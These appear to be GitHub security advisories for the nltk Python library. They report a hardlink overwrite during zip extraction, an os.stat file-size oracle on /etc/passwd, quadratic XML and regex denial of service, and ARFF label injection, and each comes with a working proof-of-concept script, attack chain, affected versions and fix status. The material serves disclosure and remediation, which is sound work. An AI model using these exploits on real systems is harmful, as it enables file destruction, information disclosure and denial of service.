An unprivileged local user who can create a file inside a data root that the victim's NLTK installation will extract into can cause the victim's process to truncate and overwrite a file outside that root. The attacker chooses which outside file is destroyed by selecting the hardlink target, so the integrity impact is complete for the chosen path (arbitrary outside-root file destruction). Where the victim resolves packages through an attacker-influenced mirror or index, the overwritten bytes are also attacker-chosen, which plausibly enables targeted file replacement and later code execution if the victim subsequently consumes the replaced file; that escalation is plausible rather than demonstrated here. Practical exploitation requires either that kernel hardlink protection (fs.protectedhardlinks) is disabled, or that the outside target is one the planting actor is permitted to hardlink (owned, writable, or group-shared), which is the same precondition carried by the previously accepted advisory for this weakness class.

Proof of Concept

Dependencies: a released nltk (3.10.3) installed from PyPI. The demonstration creates a data root, a victim file outside it, and a package archive whose member path is pre-planted as a hardlink to the victim file, then extracts through the security wrapper. It runs as a single user and succeeds even with fs.protectedhardlinks=1.

Steps: 1. Register a data root with nltk.data.path and create an extraction subtree inside it. 2. Create a victim file outside the data root. 3. Pre-plant an in-root hardlink at the member path the archive will write. 4. Extract the archive through nltk.pathsec.ZipFile.extract.

python import os, sys, tempfile, zipfile import nltk import nltk.pathsec as ps

work = tempfile.mkdtemp() dataroot = os.path.join(work, "nltkdata") extractroot = os.path.join(dataroot, "corpora") os.makedirs(os.path.join(extractroot, "pkgid")) nltk.data.path.insert(0, dataroot)

outside = os.path.join(work, "victim.txt") open(outside, "w").write("ORIGINAL-VICTIM-CONTENT")

zippath = os.path.join(dataroot, "pkg.zip") with zipfile.ZipFile(zippath, "w") as z: z.writestr("pkgid/target", "PWNED-BY-EXTRACTION")

memberabs = os.path.join(extractroot, "pkgid/target") os.link(outside, memberabs) # pre-planted in-root hardlink

with ps.ZipFile(zippath, "r") as z: z.extract("pkgid/target", path=extractroot)

print("victim now:", open(outside).read())

text victim now: PWNED-BY-EXTRACTION

The equivalent test using a symlink instead of a hardlink is refused by validateziparchive with a Security Violation, isolating the missing guard to hardlinks on the extraction write.

Attack Chain

1. Exposure: nltk.download() (and python -m nltk.downloader) is the shipped, default entry point; extraction of .zip packages into a data root is default behavior and is reachable by a local actor who can write inside a shared or predictable data root. 2. Control: the attacker controls the target inode by pre-planting an in-root hardlink at <downloaddir>/<subdir>/<pkgid>/<member>, and (under an attacker-influenced mirror) the written bytes; the member name stays <pkgid>/... so it satisfies every name guard. 3. Path: the install path does not wipe the destination before extraction (the tree is only removed on a STALE status, and that cleanup unlinks names rather than truncating the victim inode), so the planted hardlink survives to the write. The value flows through the downloader expectedroot check and validatemember (which uses realpath, so a hardlink stays in-root), then through validateziparchive (which uses resolve()), to the extraction write. 4. Guard: every guard on the path inspects names or resolved paths; none performs the stnlink > 1 fstat. resolve(), realpath(), and ONOFOLLOW all fail to detect a hardlink because a hardlink is an ordinary regular file with a legitimate in-root name. 5. Primitive: the member write opens the pre-existing hardlink and truncates plus overwrites the outside-root inode. 6. Result: the victim-owned file chosen by the planting actor is destroyed and replaced with the extracted member's bytes, crossing from the managed data root out to the general filesystem.

Bypass Evidence

The prior remediation for this weakness is the canonical reference here: it added stnlink > 1 refusals to nltk.pathsec.open / hardenedopen and routed the downloader temporary-file write through that opener. The new evidence is that the extraction write sink was never covered by that fix. On the released 3.10.3 wheel obtained from PyPI, the only stnlink occurrences are inside the open helper; ZipFile.extract validates names and then calls the standard library extractor with no stnlink check. Attempts to disprove the finding were made and failed:

- Hypothesis that the released 3.10.3 routes extraction through a hardened or stnlink path: refuted by inspecting the released wheel (ZipFile.extract delegates to the standard library, no override, no stnlink on the extraction path) and by dynamic reproduction (hardlink overwrote the outside file; symlink refused). - Hypothesis that validateziparchive or validatemember catch the hardlink: refuted because both use resolve() / realpath(), which cannot reveal a hardlink; the symlink-refused versus hardlink-overwritten asymmetry was reproduced. - Hypothesis that the download flow wipes the destination before extraction: refuted because the wipe runs only on a STALE status and uses name unlink, which does not truncate the victim inode. - Hypothesis that ONOFOLLOW / OEXCL on the development branch block it: refuted because ONOFOLLOW guards only against a symlink final component and OEXCL merely diverts to the truncate reopen branch; neither performs the stnlink fstat. - Hypothesis that kernel hardlink protection makes it a non-issue: retained as a severity bound, not a disqualifier, because the same precondition applies to the previously accepted advisory for this weakness class.

Affected Versions

- Ecosystem: pip - Package: nltk - Confirmed affected range: >= 3.9.4, <= 3.10.3 - Latest release checked: 3.10.3 (PyPI, nltk-3.10.3-py3-none-any.whl) - Fix status: not fixed (latest published release is affected; no fixed version exists)

The latest published release (3.10.3) carries the open-helper fix for the related downloader issue yet remains exploitable through the extraction sink, so the upper bound is the current release and no fixed version exists. Releases 3.9.4 through 3.10.2 have no stnlink guard at all and follow the hardlink through the same extraction path (confirmed by wheel inspection); the range floor 3.9.4 is the earliest release carrying this nltk.pathsec extraction path. The development branch adds a hardened extraction override that still omits the stnlink check, so the same vector persists there through a different sink symbol; a fixed release should not be inferred from that development-branch change.

Suggested Fix

Enforce the invariant that an extraction write must never land on a multiply-linked inode. Extend the existing stnlink > 1 refusal (as implemented in the hardened open helper) to the extraction write descriptor: after opening or creating the leaf target, fstat the descriptor and refuse an inode with stnlink > 1 before truncating or writing. Apply this on both the released delegation path and the development-branch extractmember override, or alternatively have validateziparchive / the downloader member validator fstat each existing target and refuse a multiply-linked inode. As an interim mitigation, operators should ensure fs.protectedhardlinks=1 is enabled and avoid shared, group-writable, or predictable data roots for accounts that run untrusted downloads.

Reported by zx (GitHub: @manus-pi).

Fix status (2026-09-28)

Status: IN PROGRESS (fix on an open pull request, not yet on develop).

PR: #3753 "[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validatepath", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured).

Fix commit: cf12a5e6a (pathsec.ZipFile.extractmember resolves member names to ZipInfo so the hardened extraction path actually runs, refuses a target with stnlink greater than 1, and replaces through unlink plus OEXCL; the downloader adds an lstat pre-check).

Probe: nltk/test/unit/securityprobes/ghsawr3gj6qjxpgh.py (on the PR). Verdict on the PR head: FIXED (hardlinked member target refused with PermissionError). The same probe run against develop 2fa3f48fe: VULNERABLE (extraction wrote through the hardlink to the outside secret).

Release: none.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

StreamBackedCorpusView, a public API in nltk/corpus/reader/util.py, applies the pathsec sandbox to the file content it reads but not to the file metadata it probes in its constructor. When the view is created with a plain string fileid, init calls os.stat(self.fileid).stsize with no pathsec validation, so an application that passes an attacker influenced path to the constructor discloses whether an arbitrary out of root file exists and, if it does, its exact byte size and modification time, even when nltk.pathsec.ENFORCE is True. This is the residual metadata channel left open by the fix for CVE-2026-63312 (GHSA-x5ph-mj9p-rfr8), which closed arbitrary content read on the same code path but did not bring the sibling os.stat under the sandbox.

Root Cause

The pathsec sandbox is intended to confine all NLTK filesystem access to allowed data roots. The fix for CVE-2026-63312 enforced this for content reads by routing StreamBackedCorpusView.open through nltk.pathsec.open (secureopen). The constructor, however, computes the end of file position eagerly, and on the non PathPointer branch it stats the caller supplied path directly. The PathPointer branch is validated (it calls PathPointer.filesize()), but the plain string branch reaches os.stat with no validatepath, secureopen, or requiredroot check. The security invariant "no filesystem access outside allowed roots under ENFORCE" is therefore violated for the metadata channel: os.stat is filesystem access, and it is performed on the same untrusted string entry point that the content read fix protected.

text Affected component: nltk.corpus.reader.util.StreamBackedCorpusView.init Sink: nltk/corpus/reader/util.py, os.stat(self.fileid).stsize on the plain-string branch Guarded sibling: open() (routes through nltk.pathsec.open); the constructor os.stat is not guarded

Impact

An attacker who can influence the fileid string passed to StreamBackedCorpusView(...) (the same attacker model under which CVE-2026-63312 was published for content read) obtains a filesystem oracle that operates across the process visible filesystem regardless of the pathsec data roots and with ENFORCE=True:

- Existence: a present path returns a size; a missing path raises ValueError whose message embeds the underlying OS error, so ENOENT, EACCES, and ENOTDIR are distinguishable, adding a permission and type probe. - Exact size: stsize of the target file is exposed (demonstrated below: 1850 for /etc/passwd, matching the real size). - Modification time: stmtime is available from the same stat result.

File content is not disclosed: iterating the view still routes through the sandboxed open and is refused. The demonstrated capability is therefore metadata only (existence, exact size, mtime, and error class discrimination). Reachability is application conditional: in tree corpus readers construct views from validated PathPointer objects and take the guarded branch, so exploitation requires application code that hands an attacker influenced string directly to the public constructor, which is the same condition accepted for the original content read advisory.

Proof of Concept

Requires nltk 3.10.0 through 3.10.3 installed (the pathsec-hardened line). No non-default configuration; pathsec ENFORCE defaults to True. Reproduced against the published PyPI sdist nltk==3.10.3.

1. Construct the public corpus view with an out of root path string. 2. Read the eagerly computed eofpos (the leaked size) without iterating the view. 3. Observe that iterating the view (which would read content) is blocked by the sandbox.

python import os import nltk.pathsec as ps from nltk.corpus.reader.util import StreamBackedCorpusView as V

print("ENFORCE", ps.ENFORCE) # True (default)

v = V("/etc/passwd", lambda s: [s.read()]) print("size leaked", v.eofpos, "real", os.stat("/etc/passwd").stsize)

try: "".join(list(v)) # attempt content read except Exception as e: print("content blocked", type(e).name)

text ENFORCE True size leaked 1850 real 1850 content blocked PermissionError # Security Violation [pathsec.open]: Unauthorized path /etc/passwd

A nonexistent path instead raises ValueError: Unable to open or access '/etc/nonexistentxyz' -- [Errno 2] No such file or directory, providing the existence and error class oracle.

Attack Chain

1. Exposure: An application constructs StreamBackedCorpusView(fileid, blockreader) where fileid is an attacker influenced string. The constructor is documented public API and its docstring accepts a bare string. The sandbox ships enabled (ENFORCE=True) by default. 2. Control: The attacker controls the full path string stored as self.fileid; no parsing or normalization removes it. 3. Path: In init, isinstance(self.fileid, PathPointer) is False for a plain string, so control falls to the else branch and reaches os.stat(self.fileid) with no intervening validation. 4. Guard: None on the string branch before the stat. The pathsec routing that protects content lives only in open; ENFORCE never gates the constructor stat. 5. Primitive: os.stat on an arbitrary path yields existence, exact stsize, stmtime, and, on failure, an error class that discriminates missing, permission denied, and not a directory. 6. Result: A file existence, size, and mtime oracle across the process visible filesystem that crosses the pathsec containment boundary. Content read remains blocked, so impact is confined to metadata disclosure.

Bypass Evidence

The relevant guard is the CVE-2026-63312 (GHSA-x5ph-mj9p-rfr8) fix, which routed StreamBackedCorpusView.open through nltk.pathsec.open to block arbitrary content read. Comparison of published PyPI sdists shows the open routing first appears in 3.10.0 (nltk.pathsec.open is imported and used) and is absent in 3.9.4, while the constructor os.stat(self.fileid).stsize is present unchanged across 3.9.4 through 3.10.3. The fix therefore addressed the content sink but left the sibling metadata sink in the same function unguarded.

Attempts to invalidate the finding and their outcomes: - Duplicate of the content read advisory: refuted. Iterating the view is refused with a pathsec PermissionError on 3.10.0 through 3.10.3, so the disclosed content primitive is closed; only the metadata channel survives, a distinct impact class (information exposure rather than content read). - Guarded by pathsec anyway: refuted. Source inspection of the constructor shows no validatepath, secureopen, or requiredroot before os.stat on the string branch, and the leak reproduces live with ENFORCE=True. - Not reachable: partially valid and reflected above. In tree readers pass validated PathPointer objects and never hit the string branch; reaching the sink requires application code that passes an attacker influenced string to the public constructor. That is the same reachability condition under which the content read advisory was accepted, so it narrows but does not defeat the finding. - Defense in depth only, not a boundary crossing: refuted. The pathsec design confines file access to allowed roots; os.stat on /etc/passwd is out of root file access performed on the same untrusted entry point the fix protected.

Affected Versions

- Ecosystem: PyPI - Package: nltk - Confirmed affected range: >= 3.10.0, <= 3.10.3 - Latest release checked: 3.10.3 (PyPI, resolved and downloaded as the source sdist) - Fix status: not fixed

The pathsec sandbox and the constructor os.stat both exist from 3.9.4, but the CVE-2026-63312 content read fix that this finding is a residual gap of first ships in 3.10.0; the metadata oracle that survives that fix is therefore scoped to 3.10.0 through the latest release 3.10.3, all verified by inspecting the exact published PyPI sdists. No fixed release exists as of the latest published version. Version 3.9.4 carries the unguarded os.stat too but predates the content read fix, so it is outside the scope of this incomplete fix report and is already covered by the broader content read exposure of that line.

Suggested Fix

Enforce the pathsec containment invariant on the metadata read as well as the content read. In StreamBackedCorpusView.init, validate the string fileid before calling os.stat (for example run it through nltk.pathsec.validatepath with the same context and root policy used by nltk.pathsec.open), or defer the end of file size computation so it is derived only from a successfully pathsec validated open. The remediation must cover the plain string branch specifically, since the PathPointer branch is already validated, and should preserve the existing ValueError on genuine access errors without leaking a distinguishing OS error class for out of root paths. No configuration only mitigation fully closes the gap because ENFORCE=True is already the default and does not gate the constructor stat; until a fix is available, applications should avoid passing untrusted path strings to StreamBackedCorpusView and should wrap fileids in a validated PathPointer.

Reported by zx (GitHub: @manus-pi).

Fix status (2026-09-28)

Status: IN PROGRESS (fix on an open pull request, not yet on develop).

PR: #3888 "Validate chat80.sqlquery dbname for path containment (CWE-59/73)", open; head e0e890f51 at the time of this note.

Fix commits: 68434c042 "Enforce corpus-root containment in YCOE reader and StreamBackedCorpusView" and 2c563b13f "Defer the corpus-view refusal to open" (the constructor no longer calls os.stat on the path; the containment check runs when the view is opened).

No probe. Regression test on the PR: nltk/test/unit/testycoestreamviewpathsec.py (13 passed on the PR head e0e890f51). The advisory PoC re-run on that head: StreamBackedCorpusView("/etc/passwd", ...) constructs with eofpos None (no size leaked), and len() or iteration is refused with PermissionError (Security Violation [pathsec.open]); a nonexistent out-of-root path behaves identically at construction and on read, so the existence oracle is closed too. On develop 2fa3f48fe the object is constructed and eofpos equals the real file size, so develop is still VULNERABLE.

Release: none.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

NLTK's XMLCorpusView.readblock rebuilds the full root-to-node context path with "/".join(context) on every start tag while it is still searching for a matching element. Because the context stack grows with XML nesting depth and the join is repeated once per start tag, a single corpus file containing deeply nested tags forces O(n^2) pure-Python work, where n is the number of nested elements. Any application that parses attacker-influenced XML corpus data through an XMLCorpusView subclass (for example the npschat, framenet, bnc, mte, nkjp, or semcor readers) can be driven to exhaust a CPU core for an extended period, producing a denial of service without any authentication or special privilege.

Root Cause

readblock maintains a context list that is appended on each start tag and popped on each end tag, so it grows monotonically to the maximum nesting depth while an element is being sought. For every start tag, while no target element has been located yet (eltstart is None), the code recomputes the entire path string from scratch and matches it against the reader's tagspec. The tagspec is anchored (tagspec + "\\Z"), so a nested path such as a/a/a/... never completes a full match against a concrete tagspec like Session/Posts/Post; eltstart therefore stays None for the entire file and the per-start-tag join runs for all n tags over depths 1..n. Summing those join costs yields O(n^2). There is no nesting-depth limit, context-length bound, or cumulative-work budget in readblock, and the per-call regex timeout used elsewhere in the file does not observe this cumulative pure-Python string cost.

text nltk/corpus/reader/xmldocs.py : XMLCorpusView.readblock context.append(name) # start-tag: stack grows with depth if eltstart is None: if tagspec.match("/".join(context)): # full path rebuilt per start tag -> O(depth) ... # empty-element variant rebuilds "/".join(context) + "/" + name the same way

Impact

An unauthenticated attacker who can supply or influence an XML corpus file processed by an XMLCorpusView subclass can cause quadratic CPU consumption. A crafted file of roughly 200 KB consumes several seconds of a single core; a few-megabyte file pins a core for minutes, and an arbitrarily large or unclosed nested file can hang the affected process indefinitely on that core. The result is a denial-of-service condition (CWE-407 / CWE-400). No confidentiality or integrity impact is demonstrated; the impact is availability of the processing thread or process. The prerequisite is that the application feed untrusted or attacker-influenced corpus XML into one of the affected readers, which is the same trust boundary already accepted for the seed issue in the same file.

Proof of Concept

Requires only the nltk package and its standard XML corpus reading path; no network or special configuration.

Reproduction drives a real SeekableUnicodeStreamReader and the real readblock with an npschat-style tagspec, comparing nested input (growing context depth) against a flat negative control with an identical tag count.

python import time, io from nltk.corpus.reader.xmldocs import XMLCorpusView

def measure(build, label): print(label) prev = None for n in (4000, 8000, 16000, 32000): body = build(n).encode("utf-8") # write to a temp file and open through an XMLCorpusView subclass tagspec import tempfile, os fd, path = tempfile.mkstemp(suffix=".xml") os.write(fd, b"<Session>" + body + b"</Session>"); os.close(fd) view = XMLCorpusView(path, "Session/Posts/Post") t = time.time() try: list(view) except Exception: pass dt = time.time() - t ratio = "" if prev is None else f"({dt/prev:.1f}x)" print(f" n={n:>6} time={dt:7.3f}s {ratio}") prev = dt os.remove(path)

measure(lambda n: "<a>"n + "</a>"n, "NESTED (context depth = n):") measure(lambda n: "<a></a>"n, "FLAT (context depth = 1, negative control):")

text NESTED (context depth = n): n= 4000 time= 0.162s n= 8000 time= 0.484s (2.99x) n= 16000 time= 1.595s (3.29x) n= 32000 time= 5.667s (3.6x) -> ratios trend toward 4x per 2x input = O(n^2) FLAT (context depth = 1, negative control): n= 8000 time= 0.145s n= 16000 time= 0.293s (2.03x) n= 32000 time= 0.580s (2.0x) -> 2x per 2x input = linear

Attack Chain

1. Exposure: An application uses an XMLCorpusView subclass (npschat, framenet, bnc, mte, nkjp, semcor, and similar) to read an XML corpus file whose contents an attacker can supply or influence. 2. Control: The attacker controls the XML body and nests a tag the view's tagspec never fully matches, for example "<a>" repeated n times followed by "</a>" repeated n times. 3. Path: readblock consumes the whole file in one call, appending to context on every start tag; the target element is never found, so the loop runs to end of file and context grows to depth n. 4. Guard: No nesting-depth cap, context-length bound, or cumulative-work budget exists in readblock; the anchored tagspec match fails in O(1) at offset 0, so it is not the hot term, and the per-call regex timeout does not see cumulative string-build cost. 5. Primitive: For each of the n start tags, "/".join(context) rebuilds an O(depth) string, giving a cumulative O(n^2) pure-Python CPU cost. 6. Result: Sustained single-core CPU exhaustion; a modest file blocks a core for seconds to minutes, and an unbounded or unclosed file hangs the processing thread indefinitely.

Bypass Evidence

The seed fix for the previously published quadratic-CPU issue in this same file (CVE-2026-81723, GHSA-vp2x-qp44-57v7) is confined to readxmlfragment, where it added incremental in-tag / last-open-bracket tracking. The commit that shipped that fix touched the readblock match line only to change the match call form (from a module-level regex match to a precompiled tagspec match) and preserved the "/".join(context) argument byte-for-byte; it did not add any depth or length bound. This sink is therefore not covered by the seed remediation. It is also distinct from the sibling published issue CVE-2026-81725 (GHSA-8mpw-7fpc-4gqj), whose sink is a block.count(...) line tracker in Pl196xCorpusReader.readblock, a different class, mechanism, input, and fix. The strongest disproof attempts, that the anchored tagspec match is the quadratic term, that the file is not fully consumed in one call, that an end-tag sanity check aborts early, that a depth cap or the per-call regex timeout catches it, that the seed fix already covers it, and that deep nesting is entity expansion blocked by defused XML handling, were each checked and refuted: the flat negative control with identical tag count stays linear, isolating the quadratic term to the depth-dependent join; well-formed balanced input runs to end of file before any pop; no depth cap exists; the timeout is per call and does not observe cumulative pure-Python cost; and benign literal nesting is not custom-entity expansion.

Affected Versions

- Ecosystem: PyPI (pip) - Package: nltk - Confirmed affected range: <= 3.10.3 - Latest release checked: 3.10.3 (PyPI, nltk-3.10.3-py3-none-any.whl) - Fix status: not fixed (no fix present in any released version or in the current development branch)

The vulnerable join sink is present in the latest published artifact (3.10.3) and was corroborated in 3.9.1. No released version and no development-branch commit contains a fix, so the upper bound <= 3.10.3 is proven. The introduction boundary was not pinned to an exact first-affected release: the algorithm is long-standing legacy code present in all inspected supported releases, and pinning an exact introduced version would require bisecting historical wheels. The lower boundary is therefore left unestablished rather than asserted.

Suggested Fix

Bound the work performed while searching for a target element in readblock. Options that address the root cause: track the running context path incrementally (append and truncate a single cached path string alongside the context stack, rather than rejoining the whole list on every tag), or enforce an explicit maximum nesting depth / maximum accumulated tag count for a single block and raise a clear error when it is exceeded. The remediation must cover both the start-tag match at the primary join site and the empty-element variant that rebuilds "/".join(context) + "/" + name, and it should apply regardless of whether the input is well-formed and balanced or an unclosed nested run. As an interim mitigation, deployments can impose an upstream size limit on corpus XML fed to these readers and avoid parsing untrusted corpus files, though this does not remove the quadratic behavior for inputs under the limit.

Reported by zx (GitHub: @manus-pi).

Fix status (2026-09-28)

Status: IN PROGRESS (fix on an open pull request, not yet on develop).

PR: #3895 "[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)", open, head b22ebe144.

Fix commit: 002bcf714 "Bound three quadratic algorithmic-DoS vectors on untrusted input" (XMLCorpusView.readblock no longer rebuilds the context path per piece).

No probe. The advisory PoC re-run (nested tags, n=8000 vs n=32000 through readblock): on the PR head 0.7x over a 4x input (linear); on develop 2fa3f48fe 11.3x (3.08 s vs 34.9 s), so develop is still VULNERABLE. The open PR #3753 measured on its head 238f81500 also gives 10.9x: its xmldocs change targets the unclosed CDATA/comment rescan of GHSA-j8g8, not this vector.

Release: none.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Description

Summary

nltk.classify.weka.ARFFFormatter writes class labels directly into the Weka ARFF @ATTRIBUTE '-label-' {...} declaration without any ARFF quoting or escaping. An attacker who can contribute class labels to a training dataset can include ARFF metacharacters such as }, newlines, @ATTRIBUTE, and @DATA to break out of the nominal label list and inject attacker‑controlled ARFF schema and data directives.

This vulnerability is reachable in any application that calls WekaClassifier.train() or ARFFFormatter.fromtrain() with attacker‑influenced training data. The victim does not need to manually edit the ARFF file; the normal training workflow writes the malformed ARFF automatically.

Technical Details

The vulnerable code path is:

1. WekaClassifier.train() calls ARFFFormatter.fromtrain(featuresets). 2. fromtrain() extracts labels from the training data and passes them to ARFFFormatter(labels, features). 3. headersection() uses ",".join(self.labels) directly, embedding attacker‑controlled strings into the ARFF header without sanitization.

Because the label names are not escaped, a label containing safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n% will close the label set, inject a new attribute, start a premature data section, and comment out the remaining header.

Proof of Concept

The following self‑contained Python script demonstrates the vulnerability. It requires only NLTK and does not need Weka to be installed, because the attack is carried out purely by generating the ARFF string.

python from nltk.classify.weka import ARFFFormatter

Attacker‑controlled label containing ARFF metacharacters. The } closes the label set, the @ATTRIBUTE injects a new attribute, @DATA starts the data section early, and % comments out the rest. maliciouslabel = "safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n%"

featuresets = [ ({"f": "benign"}, "legit"), # legitimate example ({"f": "payload"}, maliciouslabel), # attacker's example ]

NLTK builds the formatter from the training data formatter = ARFFFormatter.fromtrain(featuresets)

Generate the ARFF string – this is what would be written to the training file arff = formatter.format(featuresets)

Verify that the injection succeeded assert "@ATTRIBUTE injected NUMERIC" in arff, "Injected attribute not found" assert "@DATA\n0,owned" in arff, "Injected data row not found"

print("=== Injected ARFF (excerpt) ===") for line in arff.splitlines()[5:12]: print(line)

Expected output:

=== Injected ARFF (excerpt) === @ATTRIBUTE 'f' STRING @ATTRIBUTE '-label-' {legit,safe} @ATTRIBUTE injected NUMERIC @DATA 0,owned %

Explanation of the injection:

· The label safe} closes the nominal label set {legit,safe} prematurely. · The following lines (@ATTRIBUTE injected NUMERIC, @DATA, 0,owned) are then parsed as legitimate ARFF directives, not as part of the label name. · The % at the end comments out the remaining header lines that NLTK would have appended, preventing syntax errors.

References

· CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component · Huntr report https://huntr.com/bounties/bc7085e7-1caf-40c7-b406-a5099ce44072 · Weka ARFF format documentation

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3768 "Fix ARFF label injection in Weka classifier" (ekaf), merged 2026-08-24, merge commit e0a857f52 on develop. Fix commit: 56031eabc. Defence in depth: 0e1d6bf87 (PR #3863, ARFF values formatted from their type rather than caller str/repr).

Probe: nltk/test/unit/securityprobes/ghsa9ffxrrgxmhgx.py (added on #3768); verdict on develop 2fa3f48fe: FIXED (ARFF labels, values, and attribute names sanitized).

Release: none yet; no release tag contains 56031eabc.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

NLTK exposes a compile-time regular-expression denial of service in its regex-search helpers. When an application passes untrusted text as the search pattern to TokenSearcher.findall() / Text.findall(), or as the tokenizer pattern to RegexpTokenizer, the pattern is handed to the third-party regex engine, whose compilation cost is roughly quadratic in the number of capturing groups. A short pattern of the form () repeated many times (for example "()" 25000, about 50 KB) forces tens of seconds of synchronous CPU work before any match begins. The wall-clock timeout that NLTK added to guard matching does not apply during compilation, so a single small request pins a CPU core, and repeated or concurrent requests exhaust all cores and deny service.

Root Cause

The remediation for the earlier match-time backtracking issue (advisory GHSA-rrv8-h7p8-rx55 / CVE-2026-80205) switched the caller-supplied-pattern search path from the standard library re module to the third-party regex engine and wrapped matching in a wall-clock timeout. That timeout is a match-time limit only: it is applied while the compiled pattern scans the corpus. Compilation of the pattern happens first and synchronously, outside any timeout. The regex engine's compiler is approximately O(n^2) in the number of regex groups, so a caller-controlled pattern consisting of many empty groups makes compilation, not matching, the expensive step. No control bounds the group count of a caller-supplied pattern before compilation.

text Affected components / functions: - nltk.text.TokenSearcher.findall (nltk/text.py) -> regex.findall(pattern, corpus, timeout=...) On released 3.10.0-3.10.2 this sink calls regex.findall directly; on 3.10.3 and later it routes through nltk.redos.compile. Either way the regex engine compiles the caller pattern with no group-count bound, and the timeout guards only matching. - nltk.redos.compile (nltk/redos.py, introduced in 3.10.3) -> regex.compile(src, flags) Called synchronously before the timeout-bearing wrapper exists. On released 3.10.3 there is no pre-compile guard at all; on the current development tree a checkpattern bounds source length, nesting depth, and counted-repeat product, but not the number of groups.

Impact

An unauthenticated attacker who can influence a regular-expression string that reaches one of these NLTK search or tokenizer entry points can force amplified CPU consumption. A single request carrying an approximately 50 KB pattern of empty groups blocks a worker for tens of seconds; because cost grows quadratically with group count, a larger pattern (unbounded on the released 3.10.3 artifact, which imposes no length cap) or a modest number of concurrent requests exhausts every available core and denies service to legitimate users. There is no confidentiality or integrity impact, and service recovers once compilation finishes or the worker is terminated. This is the same class of unauthenticated denial of service as the prior match-time ReDoS, but reached through the compilation path that the prior fix does not cover.

Proof of Concept

Requires the nltk package (3.10.0 through 3.10.3) and its declared regex dependency. No corpus data or network access is needed.

1. Build a pattern of many empty capturing groups. 2. Pass it to any caller-supplied-pattern sink; measure the time spent before matching. 3. Observe that the match timeout does not fire, because the cost is in compilation.

python import time, regex

Exact released 3.10.0-3.10.2 code path of TokenSearcher.findall: regex.findall(pattern, corpus, timeout=<wall-clock match limit>) pattern = "()" 25000 # ~50 KB, 25000 capturing groups; survives the "<>." rewrites start = time.perfcounter() try: regex.findall(pattern, "<hello><world><foo>", timeout=1.0) print(f"completed in {time.perfcounter()-start:.2f}s with NO TimeoutError") except TimeoutError: print(f"TimeoutError after {time.perfcounter()-start:.2f}s")

Negative control: same length, zero groups, compiles in well under a second. start = time.perfcounter() regex.findall("a" 50000, "<hello>", timeout=1.0) print(f"control (0 groups) completed in {time.perfcounter()-start:.2f}s")

text completed in 4.24s with NO TimeoutError control (0 groups) completed in 0.16s

Additional measurements on the same host: regex.compile("()" n) scaled 0.35s / 1.17s / 2.61s / 4.77s for n = 5000 / 10000 / 15000 / 20000 (clean quadratic); the standard library re.compile("()" 20000) took 0.14s, confirming the cost is specific to the adopted regex engine and to group count, not to source length. Through the tokenizer sink, RegexpTokenizer("()" 20000).tokenize("hello world") blocked about 5.1s entirely in compilation with no TimeoutError.

Attack Chain

1. Exposure: An application exposes NLTK regex search or tokenization to user input, for example a search feature built on Text.findall() / TokenSearcher.findall(), or a RegexpTokenizer whose pattern is user-controlled. 2. Control: The attacker supplies the pattern string () repeated n times. It contains no whitespace, <, >, or ., so it survives the four preprocessing rewrites in TokenSearcher.findall (nltk/text.py) unchanged, and it is passed verbatim to a RegexpTokenizer. 3. Path: The pattern reaches the compilation sink: regex.findall(pattern, corpus, timeout=...) on released 3.10.0 through 3.10.2, or nltk.redos.compile to regex.compile on 3.10.3 and the tokenizer path. 4. Guard: The wall-clock timeout is applied only to matching, after compilation returns; it never observes compile-time cost. On released 3.10.3 there is no pre-compile guard; on the development tree the pre-compile check bounds length, nesting depth, and counted-repeat product, but not group count. 5. Primitive: Synchronous, uninterruptible regex compilation whose cost is roughly quadratic in the caller-controlled group count. 6. Result: One small request consumes tens of seconds of CPU on a core; repeated or concurrent requests exhaust all cores and deny service.

Bypass Evidence

This finding concerns an incomplete prior fix. The canonical prior advisory is GHSA-rrv8-h7p8-rx55 / CVE-2026-80205, whose scope is match-time catastrophic backtracking in Text.findall(); its remediation routes patterns through the regex engine and adds a wall-clock match timeout. The new evidence is that this remediation does not cover pattern compilation: the timeout is constructed and applied only for matching, while compilation runs first and synchronously.

Disproof attempts and their outcomes: - Timeout intervention: regex.findall("()" 20000, corpus, timeout=1.0) ran about 4.3s with no TimeoutError, and RegexpTokenizer("()" 20000).tokenize(...) blocked about 5.1s with no TimeoutError. The match timeout provably does not fire during compilation. - Pre-compile guard (development tree): on () input the group/class nesting counter oscillates between 0 and 1 and never approaches the depth limit; the per-group cost accumulator stays at zero; only the source-length limit is relevant and still permits roughly 50000 groups. The guard accepts "()" 49000. It does not count the number of groups. - Compile cache: the internal cached-compile helper only serves short sources (at most a couple thousand characters) and the affected sinks compile directly; distinct values of n produce fresh, uncached compilations every time. - Duplicate check: the prior advisory and other NLTK ReDoS advisories are all match-time backtracking or parser recursion in different sinks; none addresses a compile-time blow-up in the regex-engine compile path. Not comprehensively blocked, therefore not a duplicate. - Negative controls: a same-length zero-group pattern and the standard library re compiler are both cheap, isolating the cost to group count in the adopted regex engine.

Affected Versions

- Ecosystem: pip (PyPI) - Package: nltk - Confirmed affected range: >= 3.10.0, <= 3.10.3 - Latest release checked: 3.10.3 (PyPI, latest published) - Fix status: not fixed

